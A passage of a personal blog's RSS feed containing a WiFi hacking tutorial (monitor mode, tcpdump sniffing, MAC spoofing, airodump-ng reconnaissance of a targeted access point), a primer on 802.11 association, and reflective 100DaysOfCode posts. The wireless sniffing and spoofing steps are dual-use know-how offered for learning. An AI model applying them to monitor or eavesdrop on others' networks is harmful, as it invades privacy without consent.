IEEE 802.11  ESSID:off/any  <br>          Mode:Managed  Access Point: Not-Associated   Tx-Power=22 dBm   <br>          Retry short limit:7   RTS thr:off   Fragment thr:off<br>          Power Management:on</pre><pre>alfa      IEEE 802.11  ESSID:off/any  <br>          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   <br>          Retry short  long limit:2   RTS thr:off   Fragment thr:off<br>          Power Management:on<br>          <br>mon0      IEEE 802.11  Mode:Monitor  Tx-Power=20 dBm   <br>          Retry short  long limit:2   RTS thr:off   Fragment thr:off<br>          Power Management:off</pre><p>We just brought the adapter down, created a virtual interface called mon0 and set it’s operating mode to monitor mode, then brought the main interface back up. Now not only do we have interface called alfa that can be connected to an access point, but also another interface called mon0 that can listen to all wireless network traffic detectable in your vicinity. Fun, right? Not yet? Well let’s keep going.</p><h4>Taking a closer look</h4><p>While we’re here, let’s see those MAC addresses we’ve heard so much about in action. When it comes to monitoring the network we will need to use the mon0 interface from now on.</p><pre>dj@siriusA # sudo tcpdump -ne -i mon0</pre><pre>tcpdump: verbose output suppressed, use -v or -vv for full protocol decode<br>listening on mon0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes<br>21:15:45.242996 1.0 Mb/s 2437 MHz 11b -79dBm signal antenna 1 BSSID:dc:a6:32:67:7a:df DA:ff:ff:ff:ff:ff:ff SA:dc:a6:32:67:7a:df Beacon (Arcturus) [1.0* 2.0* 5.5* 11.0* 18.0 24.0 36.0 54.0 Mbit] ESS CH: 6, PRIVACY<br>21:15:45.260561 1.0 Mb/s 2437 MHz 11b -79dBm signal antenna 1 BSSID:68:8f:2e:e9:61:92 DA:ff:ff:ff:ff:ff:ff SA:68:8f:2e:e9:61:92 Beacon (Pretty Fly for a WiFi) [6.0 9.0 12.0 18.0 24.0 36.0 48.0 54.0 Mbit] ESS CH: 6, PRIVACY<br>21:15:45.262562 24.0 Mb/s 2437 MHz 11g -77dBm signal antenna 1 RA:c4:ac:59:a4:21:4b Acknowledgment<br>&lt;snip&gt;</pre><p>Woah! So what did we just do? The tcpdump utility is a network data packet analyzer that has far more options and versatility then we can (or should) cover in five blog posts. The -e flag tells the tool to print the link-layer header on each line. In other words, it shows the MAC addresses associated with the traffic. If you want to analyze this data in a somewhat friendlier way, try adding a ‘-w output.pcap’ flag to your tcpdump command to write it to a file called output.pcap. From there you can open it up in a program called Wireshark which will help you analyze and break down the packets in a more coherent fashion. Seeing as we have a lot to cover still, I’ll assume you’re the relentless autodidact you deserve to be and let you tinker with that on your own. Before we move on though, do you remember reading about probe packets in the last article? If you want to know what those look like tcpdump has you covered.</p><pre>dj@siriusA # sudo tcpdump -i mon0 -e -s 256 type mgt subtype probe-resp or subtype probe-req -X</pre><pre>tcpdump: verbose output suppressed, use -v or -vv for full protocol decode<br>listening on mon0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 256 bytes<br>21:29:41.931800 1.0 Mb/s 2437 MHz 11b -79dBm signal antenna 1 BSSID:Broadcast DA:Broadcast SA:8a:75:a3:53:b2:fe (oui Unknown) Probe Request () [1.0 2.0 5.5 11.0 Mbit]<br> 0x0000:  0000 0104 0204 0b16 3208 0c12 1824 3048  ........2....$0H<br> 0x0010:  606c 0301 012d 1a6e 0103 ff00 0000 0000  `l...-.n........<br> 0x0020:  0000 0000 0000 0000 0000 0000 0000 0000  ................<br> 0x0030:  00dd 0700 50f2 0800 0000                 ....P.....<br>21:29:41.932641 1.0 Mb/s 2437 MHz 11b -77dBm signal antenna 1 BSSID:Broadcast DA:Broadcast SA:8a:75:a3:53:b2:fe (oui Unknown) Probe Request () [1.0 2.0 5.5 11.0 Mbit]<br> 0x0000:  0000 0104 0204 0b16 3208 0c12 1824 3048  ........2....$0H<br> 0x0010:  606c 0301 012d 1a6e 0103 ff00 0000 0000  `l...-.n........<br> 0x0020:  0000 0000 0000 0000 0000 0000 0000 0000  ................<br> 0x0030:  00dd 0700 50f2 0800 0000                 ....P.....<br></pre><p>What you’re seeing there are packets being sent by mobile stations looking for networks to connect to. The ‘-X’ flag allows us to see the data frames in both hex (the block of numbers and letters on the left) and ASCII (the dots and such on the right). I highly recommend spending some time learning how to <a href="https://danielmiessler.com/study/tcpdump/">use tcpdump</a> more thoroughly.</p><p><strong>On the subject of MAC addresses…</strong></p><p>We already know that MAC addresses are unique identifiers tied to your hardware, and now you know how trivial it is to see them in transit. What this means is that any party with the appropriate motivation can theoretically observe your actions on a network with impunity and associate it with your specific hardware. Keep in mind that MAC addresses will also be stored in logs on the access point as well. You may be wondering if there’s a way to keep your unique hardware private while operating on a network. Well, there is. Turns out it’s also quite trivial.</p><pre>dj@siriusA # sudo ip link set alfa down<br>dj@siriusA # sudo ip link set dev alfa address f4:00:12:ab:cc:0a<br>dj@siriusA # sudo ip link set alfa up<br>dj@siriusA # ip link show alfa</pre><pre>3: alfa: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP mode DORMANT group default qlen 1000<br>    link/ether f4:00:12:ab:cc:0a brd ff:ff:ff:ff:ff:ff</pre><p>That MAC address I chose was completely random; if you want to be more realistic about it you need to know that the first three groups of hexadecimal numbers are specific to the manufacturer of the network card. For example, the prefix 00:03:7F is specific to network cards made by Atheros Communications, Inc. If you’re interested, check out <a href="https://gist.github.com/aallan/b4bb86db86079509e6159810ae9bd3e4">this list</a> of MAC prefixes and their associated vendors. Perhaps you can write yourself a script out of it. If not, there’s always the <a href="https://linuxconfig.org/change-mac-address-with-macchanger-linux-command">macchanger</a> utility.</p><h4>Getting tactical</h4><p>If you’ve made it this far I applaud you. From now on I’ll be making a point to be a little bit less verbose. It’s time for us to start getting our hands dirty, and if we’re going to get tactical it’s best not to talk so much. Remember Aircrack-ng?</p><pre>dj@siriusA # sudo airodump-ng mon0 -w output.pcap</pre><p>That command instructs the adapter to continuously listen to any traffic in the area and then dumps it to standard output. The -w flag dumps the capture data to a file which can be viewed later using something like Wireshark. The output you will see should look something like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_B975Vo5kAGqPqkcRajB2Q.png" /><figcaption>I like bridges so what</figcaption></figure><p>To protect the innocent I chose to capture on my network only. If you try this yourself you’ll likely see much more traffic. What you’re seeing here is a list of access points and their associated BSSID, SSID, and various other bits of information gleaned from the intercepted packets. Below you will start to see the MAC addresses of stations which are connected to the various access points. You’ll notice that in the top left corner there is a number which keeps changing. This number is the channel number. In wireless networking, the channel corresponds to the specific frequency the card is listening on. All WiFi signals operate within a 2.4 GHz range (or 5 GHz but let’s not talk about that). However, to limit interference there are different frequencies — or channels — within the 2.4 GHz range. Let’s try a little experiment.</p><pre>dj@siriusA # sudo iwconfig alfa channel 1<br>dj@siriusA # iwconfig alfa<br>alfa      IEEE 802.11  ESSID:off/any  <br>          Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated   <br>          Tx-Power=20 dBm   <br>          Retry short  long limit:2   RTS thr:off   Fragment thr:off<br>          Power Management:off</pre><pre># sudo iwconfig alfa channel 7<br># iwconfig alfa<br>alfa      IEEE 802.11  ESSID:off/any  <br>          Mode:Managed  Frequency:2.442 GHz  Access Point: Not-Associated   <br>          Tx-Power=20 dBm   <br>          Retry short  long limit:2   RTS thr:off   Fragment thr:off<br>          Power Management:off</pre><p>Take a look at the Frequency field. We’ve just changed the listening frequency from 2.412 to 2.442. If you only want to capture traffic on a certain frequency all you have to do is tell airodump-ng to do that for you.</p><pre>dj@siriusA # sudo airodump-ng mon0 -c 7 -w output.pcap</pre><p>To narrow the output even further we can specify just one network to capture traffic on. You just need to grab the BSSID of whichever access point you are trying to eavesdrop on from the above output.</p><pre>dj@siriusA # sudo airodump-ng mon0 --bssid BC:FE:17:FE:23:D8</pre><p>Ok. Great. So what do we do with all of this data? For starters we can attempt to get a visual on all this traffic flying through the air.</p><pre>dj@siriusA # sudo airgraph-ng -i output-01.csv -o graph.png -g CAPR</pre><p>Aircrack offers us a handy little utility which takes our capture data and creates a visual graphic for us to see the relationships between stations an access points.</p><pre>dj@siriusA # xdg-open graph.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*8Vt05kdiMu080gQWzf-Chw.png" /></figure><p>As before, I chose a picture which only shows my network. Again, you’d likely see a much bigger picture if you listened to all traffic in the area. The CAPR parameter stands for Client to AP Relationship. This will show you a map of all the access points in the area and any stations that are associated with them. The other option would be CPG which stands for Client to Probe Request. Play around with it to gain a better understanding.</p><h3>That’s all… for now</h3><p>But don’t worry, there’s much more to cover. Now that we’ve gone over some basic wireless reconnaissance it’s time to get a little more aggressive. In the next blog post we will get introduced to wireless attacks against access points and ways to prevent them from happening to you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d5a74556e4c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WiFi Hacking Week]]></title>
            <link>https://djislucid.medium.com/wifi-hacking-week-1166e534f041?source=rss-1b24a7998cb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/1166e534f041</guid>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[wifihacking]]></category>
            <category><![CDATA[techjournal]]></category>
            <dc:creator><![CDATA[DJ Nelson]]></dc:creator>
            <pubDate>Fri, 05 Nov 2021 03:10:49 GMT</pubDate>
            <atom:updated>2021-11-08T14:03:13.229Z</atom:updated>
            <content:encoded><![CDATA[<p>At least it started out that way…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*wX2MmVIwbvOF1wgkClcfsA.jpeg" /></figure><p>On July 1st of this year my team and I transitioned from our management positions at our then-current place of employment to full-time self employment. We were finally making the jump into focusing entirely on building our start up company, and yes, it was out of our garage. Now you may be wondering what this has to do with WiFi, or hacking, or WiFi hacking specifically. Well, at the time, my focus as a newly self-employed entrepreneur was to build a React Native mobile app which our team had conceptualized over the past year in our previous positions. However, before diving head first into that I thought it might be prudent to get a few of the smaller side projects ideas done and out of the way. After all, they should only take me a few days and then I could move on, right? Enter WiFi Hacking Week. The idea was to go through a little self-administered seven day boot camp which I built based on different articles I’ve read, random notes I’d saved throughout the years, and the compulsive desire to turn every research project into a cohesive training manual.</p><p>Well, a week turned into a month, and a month turned into copious notes on the subject of WiFi network card manipulation on Linux, WiFi packet structure, WPA handshakes, Aircrack-ng, evil twin attacks, Bettercap, a custom bash utility, a Raspberry Pi project, and plans to take over the world. With that being said, I wanted to make sure I distilled my notes and process into a blog series in order to give some of it back to the community — something I’ve always been bad about. If you haven’t gotten tired of my long-winded introduction already then pat yourself on the back, I’m finally arriving at the point.</p><p>This blog will be written as a four part series. In this first post I’ll cover what I learned about WiFi networking and adapter manipulation on Linux as well as some information on packet structure, and how to actually connect to a wireless network from the command line. If you aren’t using Linux then this tutorial will hold very little meaning for you. Also, if you are already familiar with wireless networking terminology feel free to skip to <a href="#1dff">the next section</a>. Let’s begin.</p><h3>Getting Started</h3><p>I’m not really trying to get into a full technical analysis of wireless networking. There are numerous <a href="https://witestlab.poly.edu/blog/802-11-wireless-lan-2/">articles</a> and <a href="https://documentation.meraki.com/MR/WiFi_Basics_and_Best_Practices/802.11_Association_Process_Explained">documentation</a> that delve much more in-depth on the subject than I care to. Instead, this section serves as more of a primer and offers some prerequisite terms that may be helpful in the future. If you’d rather not read definitions on the subject of wireless networking, then skip to the next section.</p><p><strong>IEEE 802.11:</strong> This term will get thrown around frequently when talking about wireless computer networking. This is essentially a standard created by the <a href="https://en.wikipedia.org/wiki/Institute_of_Electrical_and_Electronics_Engineers">Institute of Electrical and Electronics Engineers</a> which defines the protocols and controls required to implement WLAN (wireless local area network) communication. I’d rather not waste your time by re-typing the internet so if you like you can read more about it <a href="https://en.wikipedia.org/wiki/IEEE_802.11">here</a>. For our purposes, just know that if you read the term ‘802.11’ you can safely replace it with the word ‘wireless’.</p><p><strong>WiFi Adapter/WiFi Interface:</strong> This is the piece of hardware in your computer that transmits and receives radio signals, and thus allows your computer to communicate with wireless networks. There are also external devices that can plug in to your computer via USB to achieve the same thing. These are typically called dongles. Funny name for a piece of hardware, no?</p><p><strong>Station: </strong>In regards to wireless networking, a station is simply a computer that can communicate on an 802.11 network. There can be fixed, mobile, or portable stations. As a user with a laptop connected to a wireless network, you would be considered a mobile station. In most cases — and for the purpose of this tutorial — we will refer to a user’s computer on a wireless network as a station.</p><p><strong>Access Point:</strong> An access point is a device that facilitates a mobile station’s access to the internet via a wireless medium. You know this device to be called a router.</p><p><strong>Infrastructure mode:</strong> A network of stations connected to an access point. The access point maintains the routing table of all connected stations and facilitates a connection between those stations and the internet. If you have a router at home then you are familiar with this operating mode.</p><p><strong>Ad-hoc mode: </strong>Also known as an Independent Basic Service Set (IBSS). An ad-hoc network is a network of computers connected directly to each other. Each computer maintains their own routing table, which is dynamically changing because routes are constantly adapting based on the best path. The computers can share files and data with each other, but are not connected to the internet unless perhaps one of the computers in the ad-hoc network has a route to the internet via Ethernet. One might set up an ad-hoc network in situations where a small group needs to quickly get set up to share files and data, but may not necessarily need access to the internet. Think something like search and rescue operations, or a pop-up medical center. Keep in mind that a basic ad-hoc setup doesn’t include any type of encryption, so any communications could be intercepted.</p><p><strong>Monitor Mode:</strong> This mode allows a WiFi adapter to pick up all manner of data packets from any stations in the vicinity whose traffic the network card is capable of detecting. This is very similar to another mode called promiscuous mode. Unlike promiscuous mode — which can sniff any traffic , monitor mode allows the WiFi card to operate independent of an access point, which allows for sniffing any traffic flying through the air.</p><p><strong>MAC (Media Access Control) Address:</strong> This is a unique identifier in the form of a 48-bit hexadecimal number which looks something like this:</p><pre>A0:B1:C2:9A:4D:F0</pre><p>This identifier is assigned to a network interface at the manufacturing stage. In other words it’s burned into your network card in order to identify it on a network.</p><p><strong>BSS (Basic Service Set):</strong> A network topology that allows all wireless devices to communicate with each other through a common medium. For example, an access point. Another acronym you’ll see quite often is a BSSID (Basic Service Set ID), which is the MAC address associated with the access point.</p><p><strong>SSID (Service Set ID):</strong> The SSID the actual name of your wireless network. So if the WiFi network you connect to at home is called ‘Chance the Router’, then your SSID is ‘Chance the Router’.</p><h4>802.11 Association Process</h4><p>This process describes how a client or station goes from being entirely disconnected from the internet, to being fully associated with a wireless network and able to send and receive data to the access points and any clients on the network. It isn’t all that complicated as far as computer networking is concerned; there are four basic exchanges between a station and an access point, with each one comprising of a request from the station and a response from the access point. This information will come in handy later once we start messing with Aircrack.</p><p><strong>The Probe:</strong> In this stage a station broadcasts a probe request in the form of a network packet in order to discover any 802.11 networks. This request comes in the form of a network packet which advertises the broadcaster’s supported data rates and 802.11 capabilities (what kind of wireless networks it’s compatible with). An access point which receives this request will check to see if it has any data rates in common with the station, and if so, it sends a probe response back to the station. The response contains the SSID, authentication types, 802.11 capabilities, etc. It’s this probe response which allows you to see the list of available networks when you click your network icon likely located at the bottom right of your desktop screen.</p><p><strong>Authentication: </strong>This part kind of sounds like the part where you tell the access point your password and then it checks to see if the password is valid and gives you access to the internet, but it’s not. Actually, this part of the handshake takes place during the second request where the station sends an authentication frame to the access point. Originally, authentication frames were designed for something called WEP encryption, which has long since been deemed wildly insecure, and thus this step is only part of the overall process. In this step, the access point receives the authentication frame and automatically authenticates the station.</p><p><strong>Association: </strong>Now that you’ve authenticated, the next step is to send an association request. This request sends preferred encryption types to the access point and any other relevant 802.11 capabilities. The access point then compares the preferred encryption types to it’s own choice method of encryption. If any of the encryption types match the capabilities of the access point, the access point will then send an association response. You are now considered associated with the network. Your station may no longer send data to any other access points until it disassociates from the current one.</p><p><strong>Encryption:</strong> Here’s where you actually use a password to be able to use the access point to reach the internet. It’s not as simple as just sending the password to the router through the air. To prevent the password from being sniffed by literally anyone who has the motivation to do so, a special exchange using a protocol called EAPOL (Extensible Authentication Protocol Over LAN) takes place. This is also know as the 4-way handshake. How encryption works is beyond the scope of this article, but feel free to <a href="https://www.securew2.com/blog/802-1x-eap-tls-authentication-flow-explained">read more</a>.</p><p>From this point forward you’re free to move about the cabin. If you’re as bored as I am then I think it’s time we go for a stroll.</p><h3>Take a walk on the WiFi side</h3><p>Now that you know enough to be able to find your way around, let’s start exploring. In this part we will go over some simple tasks such as connecting to a WPA2 network, creating adapter aliases, scanning for WiFi networks, killing interfering services, and otherwise freeing ourselves from Network Manager. Oh, by the way, we will be performing all of this on an Ubuntu 20.04 LTS installation with an Alfa AWUS036NEH wireless dongle. I imagine most of these commands will work just fine on another Ubuntu-based installation using another dongle, as long as it supports monitor more as we will be needing that later.</p><h4>Getting Connected</h4><p>First you’ll want to see what devices you have available.</p><pre># iw dev</pre><pre>phy#3<br> Interface wlx00c0caaab78f<br>  ifindex 45<br>  wdev 0x300000001<br>  addr 00:c0:ca:aa:b7:8f<br>  type managed<br>  txpower 20.00 dBm</pre><p>Yikes. What a name for an interface. The output we are looking at shows you some basic information about the adapter including it’s adapter name, MAC address, type, and output power. Let’s do something about that interface name.</p><pre># sudo ip link set wlx00c0caaab78f down<br># sudo ip link set wlx00c0caaab78f name alfa<br># iw dev</pre><pre>phy#3<br> Interface alfa<br>  ifindex 45<br>  wdev 0x300000001<br>  addr 00:c0:ca:aa:b7:8f<br>  type managed<br>  txpower 20.00 dBm</pre><p>Much better. Here we are simply bringing the interface down in order to be able to modify it’s configuration, and then we are giving the adapter a nice name. Next we can connect to the internet, but you’ll want to get some of the interfering services out of the way.</p><pre># sudo service network-manager stop<br># sudo service wpa_supplicant stop<br># sudo dhclient -r</pre><p>As long as nothing bad happened, this should have killed Network Manager and wpa_supplicant (the WiFi Protected Access Client), as well as released the current DHCP lease and stopped the client. If you don’t know what I mean by DHCP I recommend reading <a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">this article</a>.</p><p>Okay, all that’s left to do here is connect.</p><pre># sudo -s<br># wpa_passphrase Your_SSID &gt;&gt; /etc/wpa_supplicant.conf<br>&lt;enter the password on stdin&gt;</pre><p>What we are doing here is adding an entry into the WiFi Protected Access Client configuration file with the name of your desired network and (hopefully) a correct password. If you don’t know the name of the network you are looking for and feel lost without your GUI fear not:</p><pre># sudo iw alfa scan |less</pre><p>Now you can scroll through the output to see all the networks in range as well as some interesting information. If you just want to get straight to the point:</p><pre># sudo iw alfa scan |grep SSID<br>     SSID: FBI Surveillance Van 7<br>     SSID: Arcturus<br>     SSID: Pretty Fly for a WiFi<br>     &lt;snip&gt;</pre><p>Let’s assume we are trying to connect to the network named Arcturus. Finally, you can associate with the router.</p><pre># sudo wpa_supplicant -i alfa -c /etc/wpa_supplicant.conf</pre><pre>Successfully initialized wpa_supplicant<br>alfa: SME: Trying to authenticate with 00:00:00:00:00:00 (SSID=&#39;Arcturus&#39; freq=2437 MHz)<br>alfa: Trying to associate with 00:00:00:00:00:00 (SSID=&#39;Arcturus&#39; freq=2437 MHz)<br>alfa: Associated with 00:00:00:00:00:00<br>alfa: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0<br>alfa: CTRL-EVENT-REGDOM-CHANGE init=COUNTRY_IE type=COUNTRY alpha2=US<br>alfa: WPA: Key negotiation completed with 00:00:00:00:00:00 [PTK=CCMP GTK=CCMP]<br>alfa: CTRL-EVENT-CONNECTED - Connection to 00:00:00:00:00:00 completed [id=0 id_str=]</pre><p>No, my router’s MAC address isn’t 00:00:00:00:00:00. Yes, I did edit it for privacy. In the above command the -i flag specifies the adapter name, and the -c specifies the configuration file where the SSID and password exist. I should mention that you’ll frequently see the above command run with a -B flag. This flag will make the command run in the background and return you back your prompt. I occasionally prefer to leave that flag off so I can see the connection information. Now, to verify.</p><pre># iw dev</pre><pre>phy#1<br> Interface alfa<br>  ifindex 6<br>  wdev 0x100000001<br>  addr 00:c0:ca:aa:b7:8f<br>  ssid Arcturus<br>  type managed<br>  channel 6 (2437 MHz), width: 20 MHz, center1: 2437 MHz<br>  txpower 30.00 dBm</pre><p>As you can see we’re associated. All that’s left to get access to the internet is to ask for an IP address from the router.</p><pre># sudo dhclient alfa<br># ping -c1 1.1.1.1</pre><pre>PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.<br>64 bytes from 1.1.1.1: icmp_seq=1 ttl=56 time=29.6 ms</pre><pre>--- 1.1.1.1 ping statistics ---<br>1 packets transmitted, 1 received, 0% packet loss, time 0ms<br>rtt min/avg/max/mdev = 29.585/29.585/29.585/0.000 ms</pre><p>If your output looks like the one above then way to go, you’ve subverted your robot overlords and connected to the internet without the help of a GUI. Go show you friends so they think you’re hacking the Pentagon.</p><h3>What now?</h3><p>Go take a little nap in the shade. We’re done for now. In the next blog post in this series we will cover how to set the network card into monitor mode, sniff potentially interesting traffic with tcpdump, as well as some wireless reconnaissance with airodump-ng and airgraph-ng. Don’t worry, as the posts go on things will bNow write yourself a script to automate your connection to the internet before realizing you could have just turned NetworkManager back on.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1166e534f041" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[100DaysOfCode — Terminus]]></title>
            <link>https://djislucid.medium.com/100daysofcode-terminus-5f0b381c1b4d?source=rss-1b24a7998cb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f0b381c1b4d</guid>
            <category><![CDATA[pacific-crest-trail]]></category>
            <category><![CDATA[journey]]></category>
            <category><![CDATA[100daysofcode]]></category>
            <category><![CDATA[coding]]></category>
            <dc:creator><![CDATA[DJ Nelson]]></dc:creator>
            <pubDate>Wed, 12 May 2021 19:24:09 GMT</pubDate>
            <atom:updated>2021-05-13T18:04:56.948Z</atom:updated>
            <content:encoded><![CDATA[<h3>100DaysOfCode — Terminus</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ckpLY4_mA2vQ8RPKX0qhVA.jpeg" /></figure><p>Suddenly, it’s over. I remember feeling like that standing at the border between the US and Canada. Unsurprisingly that’s exactly how I feel right now. The elasticity of time perception really becomes apparent when you turn around and look back down the trail from where you came, and you get that funny sensation of having just been at the beginning, while simultaneously feeling emotionally overwhelmed by what feels like an entire lifetime of memories.</p><p>Over the course of 100 days my mindset has gone through a complete overhaul multiple times. Whether it was working through a problem for days only to realize that the problem wouldn’t exist if only I would change one simple thing about the way the app’s UI was structured, or through sitting at the ThirdsMedia table with the team talking for hours about other features the project could have all because of asking a simple question about button shape; the highways of my brain have undergone multiple construction projects. It’s interesting to watch your small pet project morph into something completely different then what it began as. It’s function, it’s motivation, it’s entire reason for existing changing fluidly yet with complete certainty, indifferent to the creator’s whims or wishes. Like a living organism it adapts out of necessity to external forces beyond our control so that it may go on living. Don’t get me wrong there’s a long way to go still, but this leg of the journey is complete.</p><p>The Pacific Crest Trail is generally broken up into five large chunks: The Desert, The Sierras, Northern California, Oregon, and Washington. The desert section is long and arduous, but carries with it the excitement of doing something brand new. Each day brings a unique lesson as you find your footing; you fail here and stumble there while you discover your own personal flow. After about 700 miles you’re about ready to be done with the heat, the long stretches of no water, and the dirt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*WTpiqTFV60zgZgbG7QnV0Q.jpeg" /></figure><p>Upon reaching the Sierra Wilderness section you are reinvigorated as you see the white-capped mountains looming in the ever-shrinking distance and you hear the sound of actual cold rushing water. While many of the days are physically more challenging, you persevere through them with relentless joy. You are indestructible. This is the reason you started the journey in the first place. Eventually you reach Northern California and the excitement gets harder to come by. Many of the new faces you’re used to seeing start to dwindle. The grandiose views start to transform into a monotonous green tunnel and despite the fact that you’re still required to put forth great effort to continue climbing up and down the elevation, the visual and mental rewards come less and less frequently. Not that it’s not a beautiful section with it’s own unique personality, but as you begin to realize that you still have an entire other half of the journey to go you start to wonder if you really did want to go the whole way, or if you got what you came for and enough is enough. After all, you wanted adventure and you most certainly got it. You’ve done over 1000 miles at this point, no one would blame you for deciding to pack it up early.</p><p>With an insane amount of stubborn determination and a little bit of luck you find yourself in Oregon. After all the talk you’ve heard about arriving at this point you find yourself surprised that it’s actually real. The landscape changes, and with it your outlook on the future.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*c2NLnCfm9eMi3J1XLSSUfg.jpeg" /><figcaption>Just don’t tell the bears.</figcaption></figure><p>The punishing climbs ease up a bit, and the land gives you gifts of berries and rain. “I can do this”, you say to yourself for the first time in weeks. At last, a reprieve. There’s still quite a ways to go and many challenges ahead, but you’re ready to continue tackling them. You may even be daring the environment to come at you. If you’ve made it this far there is very little that can stop you from reaching your goal now, if that’s what you still want.</p><p>Finally, Washington. You should feel proud. You should feel powerful. You should feel like a conqueror. Instead, all you feel is peace. You aren’t thinking about the days that lie ahead of you anymore, or the challenges they may bring. You aren’t worried about having enough food to keep going or finding a good place to sleep through the night. You realize you can’t conquer the journey and more importantly that you don’t need to. How silly of you to even think of it that way in the first place. You’ve become one with it. Every step forward is a step you were always going to take, or never were. The landscape around you regards you with familiarity; it’s awaited your arrival since you got this crazy idea all those months ago. Suddenly it hits you: it didn’t matter what preparations you made in the beginning, or if you made it to all the planned stops, or how many extra miles a day you forced yourself to do to get to them. You were always going to get to this point as long as you kept moving towards it. As long as you kept taking that next step. Now that you’re here you aren’t ready to be done. Suddenly, it’s over.</p><p>When I started coding I ran into a lot of snags and a lot of tough days trying to find my footing. Eventually my landscape opened up and progress seemed inevitable. As the project grew so did the challenges, but tackling them effectively became more fluid. New ideas would emerge from seemingly nowhere. With them the challenges, but the solutions to those challenges seemed to flow out of me like water. It felt as though I would reach the end in no time. After awhile though, the routine flow that helped me eventually started to become too comfortable and it became harder and harder to make those giant climbs with the same amount of enthusiasm. Some time past the halfway point I began to forget why I started in the first place. “Why do I need to do it every day? Who even cares that I’m putting forth the effort?” Well, besides the Twitter bots anyway. Moving forward became less about happily accomplishing and more a matter of spitefully refusing to succumb. Eventually the landscape changed and new concepts and ideas sprang forth from the project like fresh streams. Now I’m not thinking about the end at all. In fact, there is no end. There’s only the next step.</p><p>The end of this particular leg of the journey takes place on May 12, 2021. I didn’t realize it until recently, but five years ago today marks the start of my hike of the Pacific Crest Trail. I promise I didn’t do that on purpose.</p><p>There’s a funny thing I’ve learned about taking on long-term challenges such as spending 146 days hiking a ridiculously long trail, or 135 days trying your hardest to avoid telling yourself you’re an imposter while hacking through Offsec’s labs, or 100 days fumbling through code in an attempt to create something meaningful; the defining moments are the ones where you fail, and have to decide what to do next. That next decision is the only thing in the world that matters. That decision is the one you have to make. You don’t get to opt out. What you do on those journeys will define what your life will be, and who you will be when you reach the end.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f0b381c1b4d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[100DaysOfCode — Halfway There]]></title>
            <link>https://djislucid.medium.com/when-i-was-a-kid-one-of-my-favorite-things-to-do-was-play-with-legos-859601d1cae6?source=rss-1b24a7998cb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/859601d1cae6</guid>
            <category><![CDATA[100daysofcode]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[pacific-crest-trail]]></category>
            <dc:creator><![CDATA[DJ Nelson]]></dc:creator>
            <pubDate>Thu, 25 Mar 2021 20:25:33 GMT</pubDate>
            <atom:updated>2021-03-26T07:02:04.816Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*Izuc50y5-B37qZta-DCcZw.jpeg" /></figure><p>When I was a kid one of my favorite things to do was play with Legos. I loved the feeling of taking the tiny, insignificant pieces and putting them together in a meaningful way in order to create something that didn’t previously exist. Of course I didn’t think of it in those terms at the time. I was more interested in building space stations, but the feeling was the same. I suppose it’s only fitting that years later I’d stumble upon the React JS framework. One of the benefits of using React is that it allows you to create small “components” — or compact pieces — and put them together in a meaningful way in order to create a feature-rich application. I’m not sure if I was taking this idea a little too far, but my original plan was to imagine the application I was hoping to create, and then jot down every single little piece of it and create those pieces individually. The idea was to create SubmitButton, FavoriteButton, Button3, FormInput, ItemInput, Checkbox1, Checkbox2, Header1, etc… By doing this I would learn about each React core component one at a time and ease the overwhelmed feeling I get when it comes to front-end design. One thing to know about me; when it comes to coding I have no issues writing, say, a useful bash tool, a small server, or something that facilitates a task. However, when it comes to creating a front-end user interface I suddenly become a tiny, panicky, prehistoric mammal; scurrying about Google like it’s the floor of an ancient forest, frantically searching for small code morsels that might sustain me for the next twelve to fifteen seconds or otherwise die of some perceived threat. So it’s no surprise that this is more or less exactly how my first days of the challenge played out.</p><p>Fortunately, it was exactly this scurrying that led me to another framework that instantaneously altered the course of my journey. Enter Material UI. Material UI is a design framework created by Google in 2014. The purpose of Material UI is to empower developers to create beautiful, responsive applications, and to give them flexibility to create whatever style, theme, or application they want. For my own purposes, it is incredibly beneficial and has allowed me to go from scratch on day one of the 100DaysOfCode challenge, to having a responsive, modern looking user interface in just weeks. Finally, the days of melting like the witch in Wizard of Oz at the thought of having to design a web page are over. More importantly, it changed my mind extremely quickly about creating tons of super tiny components that I could put together like Legos, and allowed me to just start creating without worrying too much.</p><p>One thing I don’t love when it comes to searching the internet for answers is finding countless blog posts all sharing the same solutions, and leaving out minor details that end up snagging you when you try the solution. I find myself wishing people were more apt to sharing their silly mistakes, instead of only showcasing their wins. Don’t get me wrong, I’m aware that Stack Overflow is out there, but its difficult not to start feeling inadequate when the only Youtube videos you see are people hammering out an entire working application in mere minutes. I want to see the process. How long did you google before you found your solution? Did you really type all that out for yourself or did you find a component you liked and then pasted it into your application, adding the appropriate edits to integrate it into your code? Is that even okay to do or does it make you an imposter? Do you, like me, occasionally find yourself staring blankly at your code editor like it’s in the way of the grass you’re trying to watch grow? I get it, it’s hard to admit to the world that you are imperfect. So, in 